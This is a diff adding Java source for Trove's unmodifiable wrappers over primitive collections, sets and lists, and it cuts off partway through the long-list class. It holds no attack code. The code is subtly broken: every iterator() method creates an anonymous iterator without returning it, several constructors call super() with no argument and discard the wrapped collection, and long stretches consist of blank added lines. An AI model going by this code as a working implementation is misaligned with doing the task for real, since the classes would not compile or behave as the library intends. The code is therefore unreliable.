+  public static class TUnmodifiableFloatCollection
+    implements TFloatCollection, Serializable
+  {
+    private static final long serialVersionUID = 1820017752578914078L;
+    
+    final TFloatCollection c;
+    
+    public TUnmodifiableFloatCollection(TFloatCollection c)
+    {
+      if (c == null)
+        throw new NullPointerException();
+      this.c = c;
+    }
+    
+    public int size() { return c.size(); }
+    public boolean isEmpty() { return c.isEmpty(); }
+    public boolean contains(float o) { return c.contains(o); }
+    public float[] toArray() { return c.toArray(); }
+    public float[] toArray(float[] a) { return c.toArray(a); }
+    public String toString() { return c.toString(); }
+    public float getNoEntryValue() { return c.getNoEntryValue(); }
+    public boolean forEach(TFloatProcedure procedure) { return c.forEach(procedure); }
+    
+    public gnu.trove.iterator.TFloatIterator iterator() {
+      new gnu.trove.iterator.TFloatIterator() {
+        gnu.trove.iterator.TFloatIterator i = c.iterator();
+        
+        public boolean hasNext() { return i.hasNext(); }
+        public float next() { return i.next(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public boolean add(float e) { throw new UnsupportedOperationException(); }
+    public boolean remove(float o) { throw new UnsupportedOperationException(); }
+    
+    public boolean containsAll(Collection<?> coll) { return c.containsAll(coll); }
+    public boolean containsAll(TFloatCollection coll) { return c.containsAll(coll); }
+    public boolean containsAll(float[] array) { return c.containsAll(array); }
+    
+    public boolean addAll(TFloatCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean addAll(Collection<? extends Float> coll) { throw new UnsupportedOperationException(); }
+    public boolean addAll(float[] array) { throw new UnsupportedOperationException(); }
+    
+    public boolean removeAll(Collection<?> coll) { throw new UnsupportedOperationException(); }
+    public boolean removeAll(TFloatCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean removeAll(float[] array) { throw new UnsupportedOperationException(); }
+    
+    public boolean retainAll(Collection<?> coll) { throw new UnsupportedOperationException(); }
+    public boolean retainAll(TFloatCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean retainAll(float[] array) { throw new UnsupportedOperationException(); }
+    
+    public void clear() { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableIntCollection
+    implements TIntCollection, Serializable
+  {
+    private static final long serialVersionUID = 1820017752578914078L;
+    
+    final TIntCollection c;
+    
+    public TUnmodifiableIntCollection(TIntCollection c)
+    {
+      if (c == null)
+        throw new NullPointerException();
+      this.c = c;
+    }
+    
+    public int size() { return c.size(); }
+    public boolean isEmpty() { return c.isEmpty(); }
+    public boolean contains(int o) { return c.contains(o); }
+    public int[] toArray() { return c.toArray(); }
+    public int[] toArray(int[] a) { return c.toArray(a); }
+    public String toString() { return c.toString(); }
+    public int getNoEntryValue() { return c.getNoEntryValue(); }
+    public boolean forEach(TIntProcedure procedure) { return c.forEach(procedure); }
+    
+    public gnu.trove.iterator.TIntIterator iterator() {
+      new gnu.trove.iterator.TIntIterator() {
+        gnu.trove.iterator.TIntIterator i = c.iterator();
+        
+        public boolean hasNext() { return i.hasNext(); }
+        public int next() { return i.next(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public boolean add(int e) { throw new UnsupportedOperationException(); }
+    public boolean remove(int o) { throw new UnsupportedOperationException(); }
+    
+    public boolean containsAll(Collection<?> coll) { return c.containsAll(coll); }
+    public boolean containsAll(TIntCollection coll) { return c.containsAll(coll); }
+    public boolean containsAll(int[] array) { return c.containsAll(array); }
+    
+    public boolean addAll(TIntCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean addAll(Collection<? extends Integer> coll) { throw new UnsupportedOperationException(); }
+    public boolean addAll(int[] array) { throw new UnsupportedOperationException(); }
+    
+    public boolean removeAll(Collection<?> coll) { throw new UnsupportedOperationException(); }
+    public boolean removeAll(TIntCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean removeAll(int[] array) { throw new UnsupportedOperationException(); }
+    
+    public boolean retainAll(Collection<?> coll) { throw new UnsupportedOperationException(); }
+    public boolean retainAll(TIntCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean retainAll(int[] array) { throw new UnsupportedOperationException(); }
+    
+    public void clear() { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableLongCollection
+    implements TLongCollection, Serializable
+  {
+    private static final long serialVersionUID = 1820017752578914078L;
+    
+    final TLongCollection c;
+    
+    public TUnmodifiableLongCollection(TLongCollection c)
+    {
+      if (c == null)
+        throw new NullPointerException();
+      this.c = c;
+    }
+    
+    public int size() { return c.size(); }
+    public boolean isEmpty() { return c.isEmpty(); }
+    public boolean contains(long o) { return c.contains(o); }
+    public long[] toArray() { return c.toArray(); }
+    public long[] toArray(long[] a) { return c.toArray(a); }
+    public String toString() { return c.toString(); }
+    public long getNoEntryValue() { return c.getNoEntryValue(); }
+    public boolean forEach(TLongProcedure procedure) { return c.forEach(procedure); }
+    
+    public gnu.trove.iterator.TLongIterator iterator() {
+      new gnu.trove.iterator.TLongIterator() {
+        gnu.trove.iterator.TLongIterator i = c.iterator();
+        
+        public boolean hasNext() { return i.hasNext(); }
+        public long next() { return i.next(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public boolean add(long e) { throw new UnsupportedOperationException(); }
+    public boolean remove(long o) { throw new UnsupportedOperationException(); }
+    
+    public boolean containsAll(Collection<?> coll) { return c.containsAll(coll); }
+    public boolean containsAll(TLongCollection coll) { return c.containsAll(coll); }
+    public boolean containsAll(long[] array) { return c.containsAll(array); }
+    
+    public boolean addAll(TLongCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean addAll(Collection<? extends Long> coll) { throw new UnsupportedOperationException(); }
+    public boolean addAll(long[] array) { throw new UnsupportedOperationException(); }
+    
+    public boolean removeAll(Collection<?> coll) { throw new UnsupportedOperationException(); }
+    public boolean removeAll(TLongCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean removeAll(long[] array) { throw new UnsupportedOperationException(); }
+    
+    public boolean retainAll(Collection<?> coll) { throw new UnsupportedOperationException(); }
+    public boolean retainAll(TLongCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean retainAll(long[] array) { throw new UnsupportedOperationException(); }
+    
+    public void clear() { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableByteCollection
+    implements TByteCollection, Serializable
+  {
+    private static final long serialVersionUID = 1820017752578914078L;
+    
+    final TByteCollection c;
+    
+    public TUnmodifiableByteCollection(TByteCollection c)
+    {
+      if (c == null)
+        throw new NullPointerException();
+      this.c = c;
+    }
+    
+    public int size() { return c.size(); }
+    public boolean isEmpty() { return c.isEmpty(); }
+    public boolean contains(byte o) { return c.contains(o); }
+    public byte[] toArray() { return c.toArray(); }
+    public byte[] toArray(byte[] a) { return c.toArray(a); }
+    public String toString() { return c.toString(); }
+    public byte getNoEntryValue() { return c.getNoEntryValue(); }
+    public boolean forEach(TByteProcedure procedure) { return c.forEach(procedure); }
+    
+    public gnu.trove.iterator.TByteIterator iterator() {
+      new gnu.trove.iterator.TByteIterator() {
+        gnu.trove.iterator.TByteIterator i = c.iterator();
+        
+        public boolean hasNext() { return i.hasNext(); }
+        public byte next() { return i.next(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public boolean add(byte e) { throw new UnsupportedOperationException(); }
+    public boolean remove(byte o) { throw new UnsupportedOperationException(); }
+    
+    public boolean containsAll(Collection<?> coll) { return c.containsAll(coll); }
+    public boolean containsAll(TByteCollection coll) { return c.containsAll(coll); }
+    public boolean containsAll(byte[] array) { return c.containsAll(array); }
+    
+    public boolean addAll(TByteCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean addAll(Collection<? extends Byte> coll) { throw new UnsupportedOperationException(); }
+    public boolean addAll(byte[] array) { throw new UnsupportedOperationException(); }
+    
+    public boolean removeAll(Collection<?> coll) { throw new UnsupportedOperationException(); }
+    public boolean removeAll(TByteCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean removeAll(byte[] array) { throw new UnsupportedOperationException(); }
+    
+    public boolean retainAll(Collection<?> coll) { throw new UnsupportedOperationException(); }
+    public boolean retainAll(TByteCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean retainAll(byte[] array) { throw new UnsupportedOperationException(); }
+    
+    public void clear() { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableShortCollection
+    implements TShortCollection, Serializable
+  {
+    private static final long serialVersionUID = 1820017752578914078L;
+    
+    final TShortCollection c;
+    
+    public TUnmodifiableShortCollection(TShortCollection c)
+    {
+      if (c == null)
+        throw new NullPointerException();
+      this.c = c;
+    }
+    
+    public int size() { return c.size(); }
+    public boolean isEmpty() { return c.isEmpty(); }
+    public boolean contains(short o) { return c.contains(o); }
+    public short[] toArray() { return c.toArray(); }
+    public short[] toArray(short[] a) { return c.toArray(a); }
+    public String toString() { return c.toString(); }
+    public short getNoEntryValue() { return c.getNoEntryValue(); }
+    public boolean forEach(TShortProcedure procedure) { return c.forEach(procedure); }
+    
+    public gnu.trove.iterator.TShortIterator iterator() {
+      new gnu.trove.iterator.TShortIterator() {
+        gnu.trove.iterator.TShortIterator i = c.iterator();
+        
+        public boolean hasNext() { return i.hasNext(); }
+        public short next() { return i.next(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public boolean add(short e) { throw new UnsupportedOperationException(); }
+    public boolean remove(short o) { throw new UnsupportedOperationException(); }
+    
+    public boolean containsAll(Collection<?> coll) { return c.containsAll(coll); }
+    public boolean containsAll(TShortCollection coll) { return c.containsAll(coll); }
+    public boolean containsAll(short[] array) { return c.containsAll(array); }
+    
+    public boolean addAll(TShortCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean addAll(Collection<? extends Short> coll) { throw new UnsupportedOperationException(); }
+    public boolean addAll(short[] array) { throw new UnsupportedOperationException(); }
+    
+    public boolean removeAll(Collection<?> coll) { throw new UnsupportedOperationException(); }
+    public boolean removeAll(TShortCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean removeAll(short[] array) { throw new UnsupportedOperationException(); }
+    
+    public boolean retainAll(Collection<?> coll) { throw new UnsupportedOperationException(); }
+    public boolean retainAll(TShortCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean retainAll(short[] array) { throw new UnsupportedOperationException(); }
+    
+    public void clear() { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableCharCollection
+    implements TCharCollection, Serializable
+  {
+    private static final long serialVersionUID = 1820017752578914078L;
+    
+    final TCharCollection c;
+    
+    public TUnmodifiableCharCollection(TCharCollection c)
+    {
+      if (c == null)
+        throw new NullPointerException();
+      this.c = c;
+    }
+    
+    public int size() { return c.size(); }
+    public boolean isEmpty() { return c.isEmpty(); }
+    public boolean contains(char o) { return c.contains(o); }
+    public char[] toArray() { return c.toArray(); }
+    public char[] toArray(char[] a) { return c.toArray(a); }
+    public String toString() { return c.toString(); }
+    public char getNoEntryValue() { return c.getNoEntryValue(); }
+    public boolean forEach(TCharProcedure procedure) { return c.forEach(procedure); }
+    
+    public gnu.trove.iterator.TCharIterator iterator() {
+      new gnu.trove.iterator.TCharIterator() {
+        gnu.trove.iterator.TCharIterator i = c.iterator();
+        
+        public boolean hasNext() { return i.hasNext(); }
+        public char next() { return i.next(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public boolean add(char e) { throw new UnsupportedOperationException(); }
+    public boolean remove(char o) { throw new UnsupportedOperationException(); }
+    
+    public boolean containsAll(Collection<?> coll) { return c.containsAll(coll); }
+    public boolean containsAll(TCharCollection coll) { return c.containsAll(coll); }
+    public boolean containsAll(char[] array) { return c.containsAll(array); }
+    
+    public boolean addAll(TCharCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean addAll(Collection<? extends Character> coll) { throw new UnsupportedOperationException(); }
+    public boolean addAll(char[] array) { throw new UnsupportedOperationException(); }
+    
+    public boolean removeAll(Collection<?> coll) { throw new UnsupportedOperationException(); }
+    public boolean removeAll(TCharCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean removeAll(char[] array) { throw new UnsupportedOperationException(); }
+    
+    public boolean retainAll(Collection<?> coll) { throw new UnsupportedOperationException(); }
+    public boolean retainAll(TCharCollection coll) { throw new UnsupportedOperationException(); }
+    public boolean retainAll(char[] array) { throw new UnsupportedOperationException(); }
+    
+    public void clear() { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableDoubleSet
+    extends TUnmodifiableCollections.TUnmodifiableDoubleCollection
+    implements gnu.trove.set.TDoubleSet, Serializable
+  {
+    private static final long serialVersionUID = -9215047833775013803L;
+    
+
+    public TUnmodifiableDoubleSet(gnu.trove.set.TDoubleSet s) { super(); }
+    public boolean equals(Object o) { return (o == this) || (c.equals(o)); }
+    public int hashCode() { return c.hashCode(); }
+  }
+  
+
+  public static class TUnmodifiableFloatSet
+    extends TUnmodifiableCollections.TUnmodifiableFloatCollection
+    implements gnu.trove.set.TFloatSet, Serializable
+  {
+    private static final long serialVersionUID = -9215047833775013803L;
+    
+    public TUnmodifiableFloatSet(gnu.trove.set.TFloatSet s) { super(); }
+    public boolean equals(Object o) { return (o == this) || (c.equals(o)); }
+    public int hashCode() { return c.hashCode(); }
+  }
+  
+
+  public static class TUnmodifiableIntSet
+    extends TUnmodifiableCollections.TUnmodifiableIntCollection
+    implements gnu.trove.set.TIntSet, Serializable
+  {
+    private static final long serialVersionUID = -9215047833775013803L;
+    
+    public TUnmodifiableIntSet(gnu.trove.set.TIntSet s) { super(); }
+    public boolean equals(Object o) { return (o == this) || (c.equals(o)); }
+    public int hashCode() { return c.hashCode(); }
+  }
+  
+
+  public static class TUnmodifiableLongSet
+    extends TUnmodifiableCollections.TUnmodifiableLongCollection
+    implements gnu.trove.set.TLongSet, Serializable
+  {
+    private static final long serialVersionUID = -9215047833775013803L;
+    
+    public TUnmodifiableLongSet(gnu.trove.set.TLongSet s) { super(); }
+    public boolean equals(Object o) { return (o == this) || (c.equals(o)); }
+    public int hashCode() { return c.hashCode(); }
+  }
+  
+
+  public static class TUnmodifiableByteSet
+    extends TUnmodifiableCollections.TUnmodifiableByteCollection
+    implements gnu.trove.set.TByteSet, Serializable
+  {
+    private static final long serialVersionUID = -9215047833775013803L;
+    
+    public TUnmodifiableByteSet(gnu.trove.set.TByteSet s) { super(); }
+    public boolean equals(Object o) { return (o == this) || (c.equals(o)); }
+    public int hashCode() { return c.hashCode(); }
+  }
+  
+
+  public static class TUnmodifiableShortSet
+    extends TUnmodifiableCollections.TUnmodifiableShortCollection
+    implements gnu.trove.set.TShortSet, Serializable
+  {
+    private static final long serialVersionUID = -9215047833775013803L;
+    
+    public TUnmodifiableShortSet(gnu.trove.set.TShortSet s) { super(); }
+    public boolean equals(Object o) { return (o == this) || (c.equals(o)); }
+    public int hashCode() { return c.hashCode(); }
+  }
+  
+
+  public static class TUnmodifiableCharSet
+    extends TUnmodifiableCollections.TUnmodifiableCharCollection
+    implements gnu.trove.set.TCharSet, Serializable
+  {
+    private static final long serialVersionUID = -9215047833775013803L;
+    
+    public TUnmodifiableCharSet(gnu.trove.set.TCharSet s) { super(); }
+    public boolean equals(Object o) { return (o == this) || (c.equals(o)); }
+    public int hashCode() { return c.hashCode(); }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static class TUnmodifiableDoubleList
+    extends TUnmodifiableCollections.TUnmodifiableDoubleCollection
+    implements TDoubleList
+  {
+    static final long serialVersionUID = -283967356065247728L;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    final TDoubleList list;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public TUnmodifiableDoubleList(TDoubleList list)
+    {
+      super();
+      this.list = list;
+    }
+    
+    public boolean equals(Object o) { return (o == this) || (list.equals(o)); }
+    public int hashCode() { return list.hashCode(); }
+    
+    public double get(int index) { return list.get(index); }
+    public int indexOf(double o) { return list.indexOf(o); }
+    public int lastIndexOf(double o) { return list.lastIndexOf(o); }
+    
+    public double[] toArray(int offset, int len) {
+      return list.toArray(offset, len);
+    }
+    
+    public double[] toArray(double[] dest, int offset, int len) { return list.toArray(dest, offset, len); }
+    
+    public double[] toArray(double[] dest, int source_pos, int dest_pos, int len) {
+      return list.toArray(dest, source_pos, dest_pos, len);
+    }
+    
+    public boolean forEachDescending(TDoubleProcedure procedure) {
+      return list.forEachDescending(procedure);
+    }
+    
+    public int binarySearch(double value) { return list.binarySearch(value); }
+    
+    public int binarySearch(double value, int fromIndex, int toIndex) { return list.binarySearch(value, fromIndex, toIndex); }
+    
+
+    public int indexOf(int offset, double value) { return list.indexOf(offset, value); }
+    public int lastIndexOf(int offset, double value) { return list.lastIndexOf(offset, value); }
+    public TDoubleList grep(TDoubleProcedure condition) { return list.grep(condition); }
+    public TDoubleList inverseGrep(TDoubleProcedure condition) { return list.inverseGrep(condition); }
+    
+    public double max() { return list.max(); }
+    public double min() { return list.min(); }
+    
+    public TDoubleList subList(int fromIndex, int toIndex) {
+      return new TUnmodifiableDoubleList(list.subList(fromIndex, toIndex));
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private Object readResolve()
+    {
+      return (list instanceof java.util.RandomAccess) ? new TUnmodifiableCollections.TUnmodifiableRandomAccessDoubleList(list) : this;
+    }
+    
+
+
+    public void add(double[] vals) { throw new UnsupportedOperationException(); }
+    public void add(double[] vals, int offset, int length) { throw new UnsupportedOperationException(); }
+    
+    public double removeAt(int offset) { throw new UnsupportedOperationException(); }
+    public void remove(int offset, int length) { throw new UnsupportedOperationException(); }
+    
+    public void insert(int offset, double value) { throw new UnsupportedOperationException(); }
+    public void insert(int offset, double[] values) { throw new UnsupportedOperationException(); }
+    public void insert(int offset, double[] values, int valOffset, int len) { throw new UnsupportedOperationException(); }
+    
+    public void set(int offset, double val) { throw new UnsupportedOperationException(); }
+    public void set(int offset, double[] values) { throw new UnsupportedOperationException(); }
+    public void set(int offset, double[] values, int valOffset, int length) { throw new UnsupportedOperationException(); }
+    
+    public double replace(int offset, double val) { throw new UnsupportedOperationException(); }
+    
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { throw new UnsupportedOperationException(); }
+    
+    public void reverse() { throw new UnsupportedOperationException(); }
+    public void reverse(int from, int to) { throw new UnsupportedOperationException(); }
+    public void shuffle(java.util.Random rand) { throw new UnsupportedOperationException(); }
+    
+    public void sort() { throw new UnsupportedOperationException(); }
+    public void sort(int fromIndex, int toIndex) { throw new UnsupportedOperationException(); }
+    public void fill(double val) { throw new UnsupportedOperationException(); }
+    public void fill(int fromIndex, int toIndex, double val) { throw new UnsupportedOperationException(); }
+  }
+  
+  public static class TUnmodifiableRandomAccessDoubleList extends TUnmodifiableCollections.TUnmodifiableDoubleList implements java.util.RandomAccess
+  {
+    private static final long serialVersionUID = -2542308836966382001L;
+    
+    public TUnmodifiableRandomAccessDoubleList(TDoubleList list) {
+      super();
+    }
+    
+    public TDoubleList subList(int fromIndex, int toIndex) { return new TUnmodifiableRandomAccessDoubleList(list.subList(fromIndex, toIndex)); }
+    
+
+
+
+
+
+
+
+
+    private Object writeReplace()
+    {
+      return new TUnmodifiableCollections.TUnmodifiableDoubleList(list);
+    }
+  }
+  
+  public static class TUnmodifiableFloatList
+    extends TUnmodifiableCollections.TUnmodifiableFloatCollection
+    implements TFloatList
+  {
+    static final long serialVersionUID = -283967356065247728L;
+    final TFloatList list;
+    
+    public TUnmodifiableFloatList(TFloatList list)
+    {
+      super();
+      this.list = list;
+    }
+    
+    public boolean equals(Object o) { return (o == this) || (list.equals(o)); }
+    public int hashCode() { return list.hashCode(); }
+    
+    public float get(int index) { return list.get(index); }
+    public int indexOf(float o) { return list.indexOf(o); }
+    public int lastIndexOf(float o) { return list.lastIndexOf(o); }
+    
+    public float[] toArray(int offset, int len) {
+      return list.toArray(offset, len);
+    }
+    
+    public float[] toArray(float[] dest, int offset, int len) { return list.toArray(dest, offset, len); }
+    
+    public float[] toArray(float[] dest, int source_pos, int dest_pos, int len) {
+      return list.toArray(dest, source_pos, dest_pos, len);
+    }
+    
+    public boolean forEachDescending(TFloatProcedure procedure) {
+      return list.forEachDescending(procedure);
+    }
+    
+    public int binarySearch(float value) { return list.binarySearch(value); }
+    
+    public int binarySearch(float value, int fromIndex, int toIndex) { return list.binarySearch(value, fromIndex, toIndex); }
+    
+
+    public int indexOf(int offset, float value) { return list.indexOf(offset, value); }
+    public int lastIndexOf(int offset, float value) { return list.lastIndexOf(offset, value); }
+    public TFloatList grep(TFloatProcedure condition) { return list.grep(condition); }
+    public TFloatList inverseGrep(TFloatProcedure condition) { return list.inverseGrep(condition); }
+    
+    public float max() { return list.max(); }
+    public float min() { return list.min(); }
+    
+    public TFloatList subList(int fromIndex, int toIndex) {
+      return new TUnmodifiableFloatList(list.subList(fromIndex, toIndex));
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private Object readResolve()
+    {
+      return (list instanceof java.util.RandomAccess) ? new TUnmodifiableCollections.TUnmodifiableRandomAccessFloatList(list) : this;
+    }
+    
+
+
+    public void add(float[] vals) { throw new UnsupportedOperationException(); }
+    public void add(float[] vals, int offset, int length) { throw new UnsupportedOperationException(); }
+    
+    public float removeAt(int offset) { throw new UnsupportedOperationException(); }
+    public void remove(int offset, int length) { throw new UnsupportedOperationException(); }
+    
+    public void insert(int offset, float value) { throw new UnsupportedOperationException(); }
+    public void insert(int offset, float[] values) { throw new UnsupportedOperationException(); }
+    public void insert(int offset, float[] values, int valOffset, int len) { throw new UnsupportedOperationException(); }
+    
+    public void set(int offset, float val) { throw new UnsupportedOperationException(); }
+    public void set(int offset, float[] values) { throw new UnsupportedOperationException(); }
+    public void set(int offset, float[] values, int valOffset, int length) { throw new UnsupportedOperationException(); }
+    
+    public float replace(int offset, float val) { throw new UnsupportedOperationException(); }
+    
+    public void transformValues(gnu.trove.function.TFloatFunction function) { throw new UnsupportedOperationException(); }
+    
+    public void reverse() { throw new UnsupportedOperationException(); }
+    public void reverse(int from, int to) { throw new UnsupportedOperationException(); }
+    public void shuffle(java.util.Random rand) { throw new UnsupportedOperationException(); }
+    
+    public void sort() { throw new UnsupportedOperationException(); }
+    public void sort(int fromIndex, int toIndex) { throw new UnsupportedOperationException(); }
+    public void fill(float val) { throw new UnsupportedOperationException(); }
+    public void fill(int fromIndex, int toIndex, float val) { throw new UnsupportedOperationException(); }
+  }
+  
+  public static class TUnmodifiableRandomAccessFloatList extends TUnmodifiableCollections.TUnmodifiableFloatList implements java.util.RandomAccess
+  {
+    private static final long serialVersionUID = -2542308836966382001L;
+    
+    public TUnmodifiableRandomAccessFloatList(TFloatList list) {
+      super();
+    }
+    
+    public TFloatList subList(int fromIndex, int toIndex) { return new TUnmodifiableRandomAccessFloatList(list.subList(fromIndex, toIndex)); }
+    
+
+
+
+
+
+
+
+
+    private Object writeReplace()
+    {
+      return new TUnmodifiableCollections.TUnmodifiableFloatList(list);
+    }
+  }
+  
+  public static class TUnmodifiableIntList
+    extends TUnmodifiableCollections.TUnmodifiableIntCollection
+    implements TIntList
+  {
+    static final long serialVersionUID = -283967356065247728L;
+    final TIntList list;
+    
+    public TUnmodifiableIntList(TIntList list)
+    {
+      super();
+      this.list = list;
+    }
+    
+    public boolean equals(Object o) { return (o == this) || (list.equals(o)); }
+    public int hashCode() { return list.hashCode(); }
+    
+    public int get(int index) { return list.get(index); }
+    public int indexOf(int o) { return list.indexOf(o); }
+    public int lastIndexOf(int o) { return list.lastIndexOf(o); }
+    
+    public int[] toArray(int offset, int len) {
+      return list.toArray(offset, len);
+    }
+    
+    public int[] toArray(int[] dest, int offset, int len) { return list.toArray(dest, offset, len); }
+    
+    public int[] toArray(int[] dest, int source_pos, int dest_pos, int len) {
+      return list.toArray(dest, source_pos, dest_pos, len);
+    }
+    
+    public boolean forEachDescending(TIntProcedure procedure) {
+      return list.forEachDescending(procedure);
+    }
+    
+    public int binarySearch(int value) { return list.binarySearch(value); }
+    
+    public int binarySearch(int value, int fromIndex, int toIndex) { return list.binarySearch(value, fromIndex, toIndex); }
+    
+
+    public int indexOf(int offset, int value) { return list.indexOf(offset, value); }
+    public int lastIndexOf(int offset, int value) { return list.lastIndexOf(offset, value); }
+    public TIntList grep(TIntProcedure condition) { return list.grep(condition); }
+    public TIntList inverseGrep(TIntProcedure condition) { return list.inverseGrep(condition); }
+    
+    public int max() { return list.max(); }
+    public int min() { return list.min(); }
+    
+    public TIntList subList(int fromIndex, int toIndex) {
+      return new TUnmodifiableIntList(list.subList(fromIndex, toIndex));
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private Object readResolve()
+    {
+      return (list instanceof java.util.RandomAccess) ? new TUnmodifiableCollections.TUnmodifiableRandomAccessIntList(list) : this;
+    }
+    
+
+
+    public void add(int[] vals) { throw new UnsupportedOperationException(); }
+    public void add(int[] vals, int offset, int length) { throw new UnsupportedOperationException(); }
+    
+    public int removeAt(int offset) { throw new UnsupportedOperationException(); }
+    public void remove(int offset, int length) { throw new UnsupportedOperationException(); }
+    
+    public void insert(int offset, int value) { throw new UnsupportedOperationException(); }
+    public void insert(int offset, int[] values) { throw new UnsupportedOperationException(); }
+    public void insert(int offset, int[] values, int valOffset, int len) { throw new UnsupportedOperationException(); }
+    
+    public void set(int offset, int val) { throw new UnsupportedOperationException(); }
+    public void set(int offset, int[] values) { throw new UnsupportedOperationException(); }
+    public void set(int offset, int[] values, int valOffset, int length) { throw new UnsupportedOperationException(); }
+    
+    public int replace(int offset, int val) { throw new UnsupportedOperationException(); }
+    
+    public void transformValues(gnu.trove.function.TIntFunction function) { throw new UnsupportedOperationException(); }
+    
+    public void reverse() { throw new UnsupportedOperationException(); }
+    public void reverse(int from, int to) { throw new UnsupportedOperationException(); }
+    public void shuffle(java.util.Random rand) { throw new UnsupportedOperationException(); }
+    
+    public void sort() { throw new UnsupportedOperationException(); }
+    public void sort(int fromIndex, int toIndex) { throw new UnsupportedOperationException(); }
+    public void fill(int val) { throw new UnsupportedOperationException(); }
+    public void fill(int fromIndex, int toIndex, int val) { throw new UnsupportedOperationException(); }
+  }
+  
+  public static class TUnmodifiableRandomAccessIntList extends TUnmodifiableCollections.TUnmodifiableIntList implements java.util.RandomAccess
+  {
+    private static final long serialVersionUID = -2542308836966382001L;
+    
+    public TUnmodifiableRandomAccessIntList(TIntList list) {
+      super();
+    }
+    
+    public TIntList subList(int fromIndex, int toIndex) { return new TUnmodifiableRandomAccessIntList(list.subList(fromIndex, toIndex)); }
+    
+
+
+
+
+
+
+
+
+    private Object writeReplace()
+    {
+      return new TUnmodifiableCollections.TUnmodifiableIntList(list);
+    }
+  }
+  
+  public static class TUnmodifiableLongList
+    extends TUnmodifiableCollections.TUnmodifiableLongCollection
+    implements TLongList
+  {
+    static final long serialVersionUID = -283967356065247728L;
+    final TLongList list;
+    
+    public TUnmodifiableLongList(TLongList list)
+    {
+      super();
+      this.list = list;
+    }
+    
+    public boolean equals(Object o) { return (o == this) || (list.equals(o)); }
+    public int hashCode() { return list.hashCode(); }
+    
+    public long get(int index) { return list.get(index); }
+    public int indexOf(long o) { return list.indexOf(o); }
+    public int lastIndexOf(long o) { return list.lastIndexOf(o); }
+    
+    public long[] toArray(int offset, int len) {
+      return list.toArray(offset, len);
+    }
+    
+    public long[] toArray(long[] dest, int offset, int len) { return list.toArray(dest, offset, len); }
+    
+    public long[] toArray(long[] dest, int source_pos, int dest_pos, int len) {
+      return list.toArray(dest, source_pos, dest_pos, len);
+    }
+    
+    public boolean forEachDescending(TLongProcedure procedure) {
+      return list.forEachDescending(procedure);
+    }
+    
+    public int binarySearch(long value) { return list.binarySearch(value); }
+    
+    public int binarySearch(long value, int fromIndex, int toIndex) { return list.binarySearch(value, fromIndex, toIndex); }
+    
+
+    public int indexOf(int offset, long value) { return list.indexOf(offset, value); }
+    public int lastIndexOf(int offset, long value) { return list.lastIndexOf(offset, value); }
+    public TLongList grep(TLongProcedure condition) { return list.grep(condition); }
+    public TLongList inverseGrep(TLongProcedure condition) { return list.inverseGrep(condition); }
+    
+    public long max() { return list.max(); }
+    public long min() { return list.min(); }
+    
+    public TLongList subList(int fromIndex, int toIndex) {
+      return new TUnmodifiableLongList(list.subList(fromIndex, toIndex));
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private Object readResolve()
+    {
+      return (list instanceof java.util.RandomAccess) ? new TUnmodifiableCollections.TUnmodifiableRandomAccessLongList(list) : this;
+    }
+    
+
+
+    public void add(long[] vals) { throw new UnsupportedOperationException(); }
+    public void add(long[] vals, int offset, int length) { throw new UnsupportedOperationException(); }
+    
+    public long removeAt(int offset) { throw new UnsupportedOperationException(); }
+    public void remove(int offset, int length) { throw new UnsupportedOperationException(); }
+    
